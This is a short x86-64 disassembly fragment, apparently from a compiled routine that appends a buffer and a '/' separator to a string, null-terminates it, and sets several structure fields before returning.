mov eax, dword [rbp + 0x37]
mov edx, dword [rbp + 0x47]
mov r8, qword [rbp + 0x3f]
xor ecx, ecx
lea r9, [rax + r11 + 1]
test rdx, rdx
je 0x180005f02
mov al, byte [rcx + r8]
mov byte [rcx + r9], al
inc rcx
cmp rcx, rdx
jb 0x180005ef2
mov byte [r11], 0x2f
mov byte [rdi + r11], 0
mov eax, dword [rbp + 0x37]
mov ecx, dword [rbp - 5]
inc eax
sub ecx, 3
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0xb]
mov word [rbx + 0x14], ax
je 0x180005f33
dec ecx
je 0x180005f2d
mov byte [rbx + 0x16], 0
jmp 0x180005f37
mov byte [rbx + 0x16], 2
jmp 0x180005f37
mov byte [rbx + 0x16], 1
mov al, 1
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret